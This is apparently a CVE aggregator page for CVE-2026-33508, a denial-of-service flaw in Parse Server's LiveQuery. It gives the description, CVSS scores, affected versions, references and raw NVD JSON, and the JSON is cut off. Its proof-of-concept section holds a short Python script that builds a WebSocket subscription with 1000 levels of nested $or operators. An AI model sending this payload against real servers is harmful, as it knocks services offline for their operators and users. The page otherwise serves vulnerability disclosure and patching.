CVE-2026-33508

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.56 and 9.6.0-alpha.45, Parse Server's LiveQuery component does not enforce the requestComplexity.queryDepth configuration setting when processing WebSocket subscription requests. An attacker can send a subscription with deeply nested logical operators, causing excessive recursion and CPU consumption that degrades or disrupts service availability. This issue has been patched in versions 8.6.56 and 9.6.0-alpha.45.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:* - VULNERABLE

Parse Server < 8.6.56

Parse Server >= 9.0.0, < 9.6.0-alpha.45

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import json

def generate_nested_query(depth):
    """Generate a deeply nested query to trigger the vulnerability."""
    if depth == 0:
        return {"key": "value"}
    # Using $or operator to create nesting
    return {"$or": [generate_nested_query(depth - 1), {"key": "value"}]}

# Configuration
target_ws_url = "ws://target-parse-server:1337/parse/"
subscription_payload = {
    "op": "subscribe",
    "requestId": 1,
    "query": {
        "className": "TestObject",
        "where": generate_nested_query(1000) # Depth 1000 to cause DoS
    }
}

print("Malicious Payload Generated:")
print(json.dumps(subscription_payload, indent=2))

# Note: Send this payload via WebSocket to exploit the vulnerability.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33508
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33508
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33508/
[4] VulDB https://vuldb.com/cve/CVE-2026-33508
[5] https://github.com/parse-community/parse-server/commit/060d27053fb0fadf613c25aabab7fe0c82b7a899
[6] https://github.com/parse-community/parse-server/commit/2126fe4e12f9b399dc6b4b6a3fa70cb1825f159b
[7] https://github.com/parse-community/parse-server/pull/10259
[8] https://github.com/parse-community/parse-server/pull/10260
[9] https://github.com/parse-community/parse-server/security/advisories/GHSA-6qh5-m6g3-xhq6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33508", "sourceIdentifier": "[email protected]", "published": "2026-03-24T19:16:54.220", "lastModified": "2026-03-25T21:21:17.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.56 and 9.6.0-alpha.45, Parse Server's LiveQuery component does not enforce the requestComplexity.queryDepth configuration setting when processing WebSocket subscription requests. An attacker can send a subscription with deeply nested logical operators, causing excessive recursion and CPU consumption that degrades or disrupts service availability. This issue has been patched in versions 8.6.56 and 9.6.0-alpha.45."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. Antes de las versiones 8.6.56 y 9.6.0-alpha.45, el componente LiveQuery de Parse Server no aplica la configuración requestComplexity.queryDepth al procesar solicitudes de suscripción WebSocket. Un atacante puede enviar una suscripción con operadores lógicos profundamente anidados, causando recursión excesiva y consumo de CPU que degrada o interrumpe la disponibilidad del servicio. Este problema ha sido parcheado en las versiones 8.6.56 y 9.6.0-alpha.45."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.56", "matchCriteriaId": "2668F1B7-6AD2-4C60-8833-73C25404B979"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.6.0", "matchCriteriaId": "1BAC01F8-0899-482C-8D91-64671BF2859A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "BBED261F-CA1B-44BC-9C3A-37378590EFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:*", "matchCriteriaId": "418338C9-6AEC-492C-ACA4-9B3C0AAE149C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:*", "matchCriteriaId": "808B6482-BF8E-407D-8462-E757657CC323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha12:*:*:*:node.js:*:*", "matchCriteriaId": "B84C28F8-AADE-41BB-A0EF-B701AB57DC3A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha13:*:*:*:node.js:*:*", "matchCriteriaId": "7567BB81-7837-4265-B792-6A9B73CECF93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha14:*:*:*:node.j ... (truncated)